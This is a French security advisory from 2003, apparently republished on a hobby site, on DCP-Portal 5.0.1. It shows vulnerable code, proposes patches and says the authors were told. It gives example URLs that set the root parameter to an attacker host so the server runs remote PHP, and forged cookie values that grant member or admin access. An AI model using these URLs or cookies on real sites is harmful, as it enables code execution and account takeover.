Bienvenue sur horslimite.net
Ce site vous propose tutoriels de programmations (php javascript ...) forum compteur de connectés, compteur de visites, script php, téléchargement de logiciel, Blog etc...
 
aide webmastering webmaster compteur forum Menu
home
  • News
  • Recherche
  • Téléchargement
  • Statistiques
  • Tutoriels      
  • PHP     
  • JavaScript     
  • Crack
  • Linux     
  • Back orifice
  • Faille include (php)
  • Membre      
  • Inscription
  • Liste des membres
  • Votre profil
  • Compteur de visites
  • Compteur de connectés
  • Votre carte membre
  • Messagerie interne
  • Blog
  • Service      
  • Whois
  • Header d\\\\'une page
  • Obtenir une IP
  • Générateur de méta-tags
  • Forum



    Votez pour ce site au Weborama
    > tutoriel > exploit > DCP-Portal


    DCP-Portal

    DCP-Portal
    **********

    Informations :
    °°°°°°°°°°°°°°
    Version : 5.0.1
    Website : http://www.dcp-portal.org
    Problèmes : - Inclusions de fichiers
    - Accès aux comptes membres
    - Accès à la partie administration

    Developpement :
    °°°°°°°°°°°°°°°
    DCP-Portal est un CMS ayant des dispositifs avancés comme la mise à jour, les liens, les dossiers,
    la gestion de membres, les votes, un calendrier,... Il comprend une partie admin permettant de rédigier, e html ou pas,
    des news, des articles,... Les membres peuvent soumettre des news.
    C'est un script multi-langue, avec un système de messagerie privée, un FAQ, une mailing liste, ....

    Les deux premières failles, permettant d'inclure des fichiers distants, ne fonctionne qu'à condition que
    le register_globals soit ON.
    Il y a une faille liée à la fonction include() dans deux fichiers.
    Voici le code buggé du premier, /library/editor/editor.php :
    ----------------------------------------------------------
    [...]
    $abs_path_editor = "$root/library/editor/";
    [...]
    if( !isset($insertat_editor) ){
    include $abs_path_editor."PropAcce_string.php";
    }
    [...]
    ----------------------------------------------------------
    Le script va donc inclure le fichier $root/library/editor/PropAcce_string.php.
    Si on définit $root nous même, par exemple en lui donnant la valeur "http://[attacker]", avec l'url :
    http://[target]/library/editor/editor.php?root=http://[attacker], et que le fichier
    http://[attacker]/library/editor/PropAcce_string.php existe, ce dernier sera inclut, et le code qui s'y trouve (si il y
    en a) sera executé sur le serveur [target], avec ses droits et restrictions.

    On a le même type de code (et donc de vulnérabilité) dans le fichier /library/lib.php :
    ----------------------------------------
    <?
    include ("$root/library/lib_nav.php");
    include ("$root/library/lib_mods.php");
    include ("$root/library/lib_admin.php");
    include ("$root/library/lib_3rd.php");
    [...]
    ----------------------------------------
    Ici, si une personne tape l'url http://[target]/library/lib.php?root=http://[attacker], il aura le choix entre quatre
    fichiers à inclure :
    - http://[attacker]/library/lib_nav.php
    - http://[attacker]/library/lib_mods.php
    - http://[attacker]/library/lib_admin.php
    - http://[attacker]/library/lib_3rd.php


    Voyons maintenant la sécurité au niveau membre.
    Certaines fichiers comme inbox.php, update.php,... sont réservés aux membres inscrits.
    Voici le script se trouvant dans ces fichiers qui vérifie que l'authentification a bien été effectuée :
    ---------------------------------------------------
    [...]
    if (!isset($HTTP_COOKIE_VARS["dcp5_member_id"])) {
    header ("Location: login.php");
    exit();
    }
    [...]
    ---------------------------------------------------
    Ici le register_globals n'a plus d'influence, car il est spécifié grâce au HTTP_COOKIE_VARS que c'est un cookie
    qui est utilisé.
    Pour avoir accès à un compte membre spécifique, il suffira d'envoyer une des pages du site un cookie nommé dcp5_member_id
    et avec comme valeur l'id du membre.

    On a aussi une faille liée aux cookies pour toute la partie admin. En effet, dans chacun des fichiers du dossier /admin/
    (/admin/*.php), on peut voir le code suivant :
    --------------------------------------------------
    if ($HTTP_COOKIE_VARS["dcp5_member_admin"] != 5) {
    header("Location: index.php");
    exit();
    }
    --------------------------------------------------
    Ici, le nom du cookie à envoyer pour être admin sera dcp5_member_admin, et sa valeur obligatoirement '5'.

    Patch :
    °°°°°°°
    Le patch que je propose pour la fonction include() est sécurisé uniquement à condition que l'attaqueur n'ait
    pas un accès à une aprtie du disque dur, comme /home/ftp/incoming.
    Dans /library/editor/editor.php, remplacer les lignes :
    ----------------------------------------------------------
    if( !isset($insertat_editor) ){
    include $abs_path_editor."PropAcce_string.php";
    }
    ----------------------------------------------------------
    par :
    ----------------------------------------------------------
    if( !isset($insertat_editor) AND file_exists($abs_path_editor."PropAcce_string.php") ){
    include $abs_path_editor."PropAcce_string.php";
    }
    ----------------------------------------------------------

    Dans /library/lib.php, ajouter cette ligne avant le reste du code :
    -------------------------------------------------------------------------
    if (!file_exists("$root/library/lib_nav.php")){ die("Path not found."); }
    -------------------------------------------------------------------------

    Pour les failles cookies, il faut changer tout le système d'authentification, par exemple avec un système de sessions.

    Les auteurs ont été prévenus.

    Greetz :
    °°°°°°°°
    Arne Blankerts, Joel Wiesmann, Spacewalker


    Credits :
    °°°°°°°°°
    Auteur : frog-m@n
    E-mail : frog-man@phpsecure.org
    Website : http://www.frog-man.org, http://www.phpsecure.org.
    Date : 04/01/03
    Copyright frog-m@n http://www.phpsecure.info/v2/zone/pArticle
     
    page générée en 124 millisecondes